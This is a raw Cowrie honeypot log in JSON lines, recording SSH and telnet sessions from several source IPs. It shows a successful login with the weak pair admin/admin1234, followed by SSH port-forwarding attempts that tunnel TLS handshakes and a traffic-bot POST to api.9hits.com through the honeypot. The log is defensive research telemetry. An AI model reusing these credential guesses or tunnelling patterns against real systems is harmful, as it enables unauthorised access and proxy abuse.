{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:33.716523Z","src_ip":"173.208.192.194","session":"1c9b42a5184b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:34.514441Z","src_ip":"173.208.192.194","session":"1c9b42a5184b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:34.923852Z","src_ip":"103.82.132.16","session":"e152ba7936c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":85.8937828540802,"message":"Connection lost after 85 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:35.333730Z","src_ip":"128.199.8.54","session":"da8b2b75c989","protocol":"telnet"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:38.087147Z","session":"b6f73488869f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:38.144821Z","src_ip":"23.175.50.52","session":"b6f73488869f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x0325\\x9d\\xc7a\\xda\\xf8\\xfaK\\x89w\\x9dN\\x13\\xe3\\xc3\\xad\\x14\\xa5\\xd2\\xb4\\xe4*\\xedC\\xc0\\xffz\\x0c\\xf8\\x95\\x10 \\xb73\\x01&\\x00\\\\\\xf6\\xbc\\x1d\\x80\\xb7%\\xee]@:\\x0eJN\\x98{\\xaf\\xe5\\xf0y\\xff\\x8b\\xb1\\xf0\\xaa\\xf6\\xc8\\x00 \\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 e\\xda\\xfa\\xcd9\\xe8\\t\\xaf\\xd4\\xcf6\\x96\\x91T\\xbf\\xa4\\xef\\x96\\xf7l\\xaa:\\xda\\\\\\x129\\xbf\\x7f\\x0f\\x90;t\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x0325\\x9d\\xc7a\\xda\\xf8\\xfaK\\x89w\\x9dN\\x13\\xe3\\xc3\\xad\\x14\\xa5\\xd2\\xb4\\xe4*\\xedC\\xc0\\xffz\\x0c\\xf8\\x95\\x10 \\xb73\\x01&\\x00\\\\\\xf6\\xbc\\x1d\\x80\\xb7%\\xee]@:\\x0eJN\\x98{\\xaf\\xe5\\xf0y\\xff\\x8b\\xb1\\xf0\\xaa\\xf6\\xc8\\x00 \\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 e\\xda\\xfa\\xcd9\\xe8\\t\\xaf\\xd4\\xcf6\\x96\\x91T\\xbf\\xa4\\xef\\x96\\xf7l\\xaa:\\xda\\\\\\x129\\xbf\\x7f\\x0f\\x90;t\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:38.147967Z","src_ip":"23.175.50.52","session":"b6f73488869f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:38.210485Z","session":"b6f73488869f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:38.270194Z","src_ip":"23.175.50.52","session":"b6f73488869f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03-9\\xa9\\xea!\\x9bE(e\\xfcO\\xdd\\xad\\xd2!\\x8e\\xbeR.\\xb7\\xa3\\xd0e\\xe6\\x95\\x04\"\\x1c\\xab\\xdb\\xd9J z\\xf6\\xf0\\x92\\xaa\\xcfod\\x1e\\x06\\x13F\\xb1\\x91\\x13\\xee\\xe3\\x1e\\'>\\xfe\\xfb\\xae\\xa8\\x02\\xdft\\xee\\xe7\\x91(\\xf7\\x00\"\\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 \\x8e\\xaf\\x9a\\x06\\xcc\\xf5]~\\xf0\\xce\\xc1@I\\xd6}\\xb1\\xca\\tx@U\\x1a^!|-~\\xf0\\xca\\xae\\x9ec\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03-9\\xa9\\xea!\\x9bE(e\\xfcO\\xdd\\xad\\xd2!\\x8e\\xbeR.\\xb7\\xa3\\xd0e\\xe6\\x95\\x04\"\\x1c\\xab\\xdb\\xd9J z\\xf6\\xf0\\x92\\xaa\\xcfod\\x1e\\x06\\x13F\\xb1\\x91\\x13\\xee\\xe3\\x1e\\'>\\xfe\\xfb\\xae\\xa8\\x02\\xdft\\xee\\xe7\\x91(\\xf7\\x00\"\\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 \\x8e\\xaf\\x9a\\x06\\xcc\\xf5]~\\xf0\\xce\\xc1@I\\xd6}\\xb1\\xca\\tx@U\\x1a^!|-~\\xf0\\xca\\xae\\x9ec\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:38.273329Z","src_ip":"23.175.50.52","session":"b6f73488869f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"173.208.192.194","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:38.719172Z","session":"1c9b42a5184b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:38.754546Z","src_ip":"173.208.192.194","session":"1c9b42a5184b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 14_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.5.1 Mobile/18E212 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1184\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=NVpmXlFKbUlJfXNscUNwfg%3D%3DMPZ8lwrn4n0Mhu2Tx7FvX6Y23dvRlLr0vFZ%2FFxzjblUqr5p3sSqVEXi%2FIBjuRGAL%2BLtzTkPKF6B%2F2OXe2JV4LPo9mxeaIOE4t8IW58w5ikF2KPnlPj9xJgVv7Id0cqeIEIzqklokiG4rZ2%2Bd%2BN%2FLATCdeLz3jsmhJ%2FnXsEGoxRH3tvH7BWms%2B0kFjBfdbBQKZZ7KHqbmAx%2BqCBjfx723gv78DLRn9W88MlmoVteOaME3B%2B20I58YSYZkPFGTaNAwuD7iSFTDZ4NBkLLGg6fT5VjR6hkBZIJSHq%2FO6KZKV%2F2oefTRV3qw9Pfitcbmab%2FD65nvFVLce8lR3UJAUiN8eluZaOg1lq7Wi97L0iSzggCs8StPEc56O09OWINM%2FXsEDB%2F78WgAoolu3HNMv90wi6KAbGNo6p3T2KPNDPus4oNaNhT3v4DJWckAx9uOoyPeSCxPhSj1stpioePSV9oGnBq%2FvSjoUO54j4GKyXKD9IigW3etz022lxZwotJjIoNf78awEWdVt6WmvEkfS0M%2FB2sMM2LyXcbY1G1djyPDPHVA9ui2MupU1Um7bZkYodwHpZeonolfdB9KtSU7Xis%2Fy96pBei8PIbXN5w0qSQwA7HY1hxrqtTi7IdsVnCHnvCHDHnRzc6NEwSblOqxImnqsEKiqIFdh90Ge44JOympohV1sh8Fd9B32HoqujAs1bEnwbvueADVgiLB5pRHaMBRZWppRV7sFa88DnwTHMlN%2FAjidCNWyIwNCm%2FYQEU9LNerV%2FXji%2BaxidShnKU7l8ToTNlvqJtFNwZn8%2FlTy5EQOVQY%2BHFme63F26aSno7qyyWgRvLu4PaAnLhuTGIHGO0jyU7EUQq1fw%2BMydNUZCqhYRnEJuyxg%2BSVsaKblwYPpfiCZxr%2BuqVIL81%2BBps3Ej49ZkPzLmLYuezRV%2FxoAxO%2BJZ2p78J3k1rJJSiChu3mWTbqdcCNRKE1PZyMEhi4Q56zodDEQt5wTlH59ezwJ3bvr1T3SWJxXFYq2hgUIa3ZLZgLKhrPgdhfMD1S%2Bf6qwgNMuVQgXmA6emdAHdZwimrtKawErYrvL%2BTTFvk2Dpbd03Di'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 14_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.5.1 Mobile/18E212 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1184\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=NVpmXlFKbUlJfXNscUNwfg%3D%3DMPZ8lwrn4n0Mhu2Tx7FvX6Y23dvRlLr0vFZ%2FFxzjblUqr5p3sSqVEXi%2FIBjuRGAL%2BLtzTkPKF6B%2F2OXe2JV4LPo9mxeaIOE4t8IW58w5ikF2KPnlPj9xJgVv7Id0cqeIEIzqklokiG4rZ2%2Bd%2BN%2FLATCdeLz3jsmhJ%2FnXsEGoxRH3tvH7BWms%2B0kFjBfdbBQKZZ7KHqbmAx%2BqCBjfx723gv78DLRn9W88MlmoVteOaME3B%2B20I58YSYZkPFGTaNAwuD7iSFTDZ4NBkLLGg6fT5VjR6hkBZIJSHq%2FO6KZKV%2F2oefTRV3qw9Pfitcbmab%2FD65nvFVLce8lR3UJAUiN8eluZaOg1lq7Wi97L0iSzggCs8StPEc56O09OWINM%2FXsEDB%2F78WgAoolu3HNMv90wi6KAbGNo6p3T2KPNDPus4oNaNhT3v4DJWckAx9uOoyPeSCxPhSj1stpioePSV9oGnBq%2FvSjoUO54j4GKyXKD9IigW3etz022lxZwotJjIoNf78awEWdVt6WmvEkfS0M%2FB2sMM2LyXcbY1G1djyPDPHVA9ui2MupU1Um7bZkYodwHpZeonolfdB9KtSU7Xis%2Fy96pBei8PIbXN5w0qSQwA7HY1hxrqtTi7IdsVnCHnvCHDHnRzc6NEwSblOqxImnqsEKiqIFdh90Ge44JOympohV1sh8Fd9B32HoqujAs1bEnwbvueADVgiLB5pRHaMBRZWppRV7sFa88DnwTHMlN%2FAjidCNWyIwNCm%2FYQEU9LNerV%2FXji%2BaxidShnKU7l8ToTNlvqJtFNwZn8%2FlTy5EQOVQY%2BHFme63F26aSno7qyyWgRvLu4PaAnLhuTGIHGO0jyU7EUQq1fw%2BMydNUZCqhYRnEJuyxg%2BSVsaKblwYPpfiCZxr%2BuqVIL81%2BBps3Ej49ZkPzLmLYuezRV%2FxoAxO%2BJZ2p78J3k1rJJSiChu3mWTbqdcCNRKE1PZyMEhi4Q56zodDEQt5wTlH59ezwJ3bvr1T3SWJxXFYq2hgUIa3ZLZgLKhrPgdhfMD1S%2Bf6qwgNMuVQgXmA6emdAHdZwimrtKawErYrvL%2BTTFvk2Dpbd03Di'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:38.757754Z","src_ip":"173.208.192.194","session":"1c9b42a5184b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.52","src_port":63559,"dst_ip":"10.17.0.5","dst_port":22,"session":"9321e06adbab","protocol":"ssh","message":"New connection: 23.175.50.52:63559 (10.17.0.5:22) [session: 9321e06adbab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:39.515812Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:39.519780Z","src_ip":"23.175.50.52","session":"9321e06adbab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc"